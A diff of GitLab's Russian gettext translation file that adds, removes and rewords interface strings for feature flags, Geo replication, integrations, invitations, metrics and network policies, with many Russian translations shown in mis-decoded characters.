msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "Попробуйте еще раз через неÑколько минут или ÑвÑжитеÑÑŒ Ñ Ð²Ð°ÑˆÐµÐ¹ Ñлужбой поддержки."
@@ -10659,9 +10988,6 @@ msgstr "Идентификаторы пользователÑ"
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr "Ðе удалоÑÑŒ открыть лицензию. У Ð²Ð°Ñ Ð½ÐµÑ‚ п
msgid "File"
msgstr "Файл"
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr "Цвет Шрифта"
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Во внутренних проектах: любой зарегиÑтрированный пользователь может проÑматривать Ñборочные линии и получать доÑтуп к заданиÑм (логам и артефактам)"
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "Узел функционирует медленно, перегружен или только что воÑÑтановлен поÑле ÑбоÑ."
-msgid "GeoNodes|Attachments"
-msgstr "ВложениÑ"
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr "ОбратитеÑÑŒ к информации по уÑтранению неиÑправноÑтей Geo"
-msgid "GeoNodes|Container repositories"
-msgstr "Репозитории контейнеров"
-
msgid "GeoNodes|Data replication lag"
msgstr "Задержка репликации данных"
-msgid "GeoNodes|Design repositories"
-msgstr "Репозитории дизайнов"
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Ðе ÑоответÑтвует конфигурации оÑновного хранилища"
-msgid "GeoNodes|Failed"
-msgstr "Ðе удалоÑÑŒ"
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr "Внутренний URL"
-msgid "GeoNodes|Job artifacts"
-msgstr "Ðртефакты заданий"
-
-msgid "GeoNodes|LFS objects"
-msgstr "Объекты LFS"
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr "Узел уÑпешно удалён."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr "СоÑтоÑние узла было обновлено %{timeAgo}."
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr "ПриоÑтановка репликации прекращает процеÑÑ Ñинхронизации. Ð’Ñ‹ уверены?"
@@ -11196,15 +11501,6 @@ msgstr "Слоты репликации"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Репозитории"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "Ход Ñверки репозиториÑ"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr "ÐаÑтройки Ñинхронизации"
msgid "GeoNodes|Unused slots"
msgstr "ÐеиÑпользуемые Ñлоты"
-msgid "GeoNodes|Unverified"
-msgstr "Ðепроверенные"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr "Обновлено %{timeAgo}"
msgid "GeoNodes|Used slots"
msgstr "ИÑпользуемые Ñлоты"
-msgid "GeoNodes|Verified"
-msgstr "Проверенные"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr "Вики"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr "С %{geo} вы можете уÑтановить Ñпециальный реплицированный, доÑтупный только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ ÑкземплÑÑ€ в любом меÑте. Прежде чем добавлÑÑ‚ÑŒ узлы, Ñледуйте %{instructions} в том порÑдке, в котором они поÑвлÑÑŽÑ‚ÑÑ."
@@ -11265,6 +11546,12 @@ msgstr "оÑновной узел"
msgid "GeoNodes|secondary nodes"
msgstr "вторичные узлы"
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr "Фильтр по ÑоÑтоÑнию"
msgid "Geo|Geo Status"
msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Geo"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr "Ð’ процеÑÑе"
@@ -11460,10 +11753,10 @@ msgstr "Ошибка Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ - %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "Ожидание планировщика"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,8 +11933,8 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "Принудительный HTTPS (требуютÑÑ Ð´ÐµÐ¹Ñтвительные Ñертификаты)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
-msgstr "GitLab Pages отключены Ð´Ð»Ñ Ñтого проекта. Ð’Ñ‹ можете включить в поле %{strong_start}ÐаÑтройки > Общие > ВидимоÑÑ‚ÑŒ%{strong_end} вашего проекта."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr "Может пройти до 30 минут, прежде чем Ñайт Ñтанет доÑтупен поÑле первого развёртываниÑ."
@@ -11757,7 +12050,10 @@ msgstr "Ðа веÑÑŒ Ñкран"
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr "Минуты групповой Ñборочной линии уÑпеш
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Запретить публикацию проектов из %{group} в других группах"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12439,7 +12738,7 @@ msgid "GroupsNew|Create"
msgstr ""
msgid "GroupsNew|Create group"
-msgstr ""
+msgstr "Создать группу"
msgid "GroupsNew|GitLab group export"
msgstr ""
@@ -12448,7 +12747,7 @@ msgid "GroupsNew|Import"
msgstr ""
msgid "GroupsNew|Import group"
-msgstr ""
+msgstr "Импорт группы"
msgid "GroupsNew|My Awesome Group"
msgstr ""
@@ -12528,6 +12827,9 @@ msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ работоÑпоÑобноÑти может б
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "Ключ доÑтупа - "
@@ -12543,6 +12845,9 @@ msgstr "ÐеÑтабильный"
msgid "Hello there"
msgstr "Привет"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Помощь"
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Однако вы уже ÑвлÑетеÑÑŒ учаÑтником Ñтого %{member_source}. Войдите, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ аккаунт, чтобы принÑÑ‚ÑŒ приглашение."
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr "Ðе удалоÑÑŒ импортировать проект"
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr "Ðе удалоÑÑŒ запроÑить %{provider} репозиториев"
@@ -13001,6 +13318,9 @@ msgstr "Ðе удалоÑÑŒ Ñоздать репозиторий."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Улучшить поиÑк при помощи РаÑширенного Глобального ПоиÑка в верÑии GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr "Лимиты, ÑвÑзанные Ñ Ð£Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸ÐµÐ¼ инцидентами"
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Указывает, может ли Ñтот обработчик заданий выбирать Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð±ÐµÐ· меток"
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr "УÑтановить на клаÑтеры"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "УÑтановлено"
@@ -13230,8 +13565,8 @@ msgstr[3] "ЭкземплÑры"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "ВидимоÑÑ‚ÑŒ СтатиÑтики ЭкземплÑра"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr "Шаблон интервала"
msgid "Introducing Value Stream Analytics"
msgstr "ПредÑтавлÑем Ðналитику потока ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ†ÐµÐ½Ð½Ð¾Ñти"
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr "Обнаружен неверный файл конфигурации In
msgid "Invalid Login or password"
msgstr "Ðеверный логин или пароль"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "ÐедопуÑÑ‚Ð¸Ð¼Ð°Ñ ÑÑылка"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr "ПриглаÑить учаÑтников"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr "ОбÑуждение"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr "ОбÑуждение %{issue_reference} уже было добавлено к цели %{epic_reference}."
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "ДоÑки обÑуждений"
@@ -13554,9 +13934,6 @@ msgstr "СиÑтема ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð¾Ð±Ñуждений YouTrack"
msgid "Issues"
msgstr "ОбÑуждениÑ"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr "Пароль или API токен"
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr "ИÑпользуйте Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ñерве
msgid "JiraService|Username or Email"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð»Ð¸ Email"
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,8 +14429,8 @@ msgstr "Метки могут применÑÑ‚ÑŒÑÑ Ðº обÑуждениÑм Ð
msgid "Labels can be applied to issues and merge requests."
msgstr "Метки могут назначатьÑÑ Ð¾Ð±ÑуждениÑм и запроÑам на ÑлиÑние."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>ПовыÑить метку</span> %{labelTitle} <span>до групповой метки?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "ПеренеÑти Метку"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,11 +14772,11 @@ msgstr "Удалить лицензию"
msgid "LicenseCompliance|Remove license?"
msgstr "Удалить лицензию?"
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "Ðа данный момент в Ñтом проекте нет утвержденных или занеÑённых в чёрный ÑпиÑок лицензий."
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
-msgstr "Ðа данный момент нет одобренных или занеÑенных в чёрный ÑпиÑок лицензий, ÑоответÑтвующих Ñтому проекту."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Эта Ð»Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ в Ñтом проекте."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr "Лицензировано длÑ"
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Лицензии"
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr "Ограничить отображение единицы времени отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾ чаÑов."
@@ -14555,6 +14938,9 @@ msgstr "СпиÑок репозиториев Gitea"
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr "ПеречиÑлить наÑтройки"
@@ -14576,6 +14962,9 @@ msgstr "Предварительный проÑмотр в реальном вр
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr "Загрузка"
@@ -14627,7 +15016,7 @@ msgstr "Блокировка не найдена"
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr "СЛИТО"
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr "СоглаÑовано"
msgid "MRApprovals|Approvers"
msgstr "Утверждающие"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "Показать только изменениÑ"
@@ -14777,9 +15175,6 @@ msgstr "Импорт файла манифеÑта"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr "Ручное задание"
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr "УчаÑтники"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr "Коммиты запроÑов на ÑлиÑние"
msgid "Merge Requests"
msgstr "ЗапроÑÑ‹ на ÑлиÑние"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние Ñоздан"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr "Конфликты"
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr "ПожалуйÑта, выберите метрику"
msgid "MetricChart|Selected"
msgstr "Выбранные"
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Метрики"
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr "Создать пользовательÑкую панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ %{fileName}"
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Создать метрику"
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr "Дублировать панель управлениÑ"
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr "Дублирование..."
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] "Редактировать метрику"
@@ -15450,9 +15887,6 @@ msgstr "Развернуть панель"
msgid "Metrics|For grouping similar metrics"
msgstr "Ð”Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ð¸Ñ€Ð¾Ð²ÐºÐ¸ похожих метрик"
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr "ÐедопуÑтимый промежуток времени, пожалуйÑта, проверьте его."
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ PromQL дейÑтвителен"
msgid "Metrics|Prometheus Query Documentation"
msgstr "Ð”Ð¾ÐºÑƒÐ¼ÐµÐ½Ñ‚Ð°Ñ†Ð¸Ñ Ð¿Ð¾ запроÑам Prometheus"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr "Обновить панель управлениÑ"
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr "ПроÑмотр журналов"
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "ПодпиÑÑŒ оÑи Y"
@@ -15634,12 +16077,18 @@ msgstr[1] "Этапы"
msgstr[2] "Этапы"
msgstr[3] "Этапы"
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr "Зеркалирование было уÑпешно отключено.
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr "ОтÑутÑтвует точка Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¿Ð¾Ð´Ð¿Ð¸Ñей коммитов!"
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Мониторинг"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "МеÑÑцы"
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
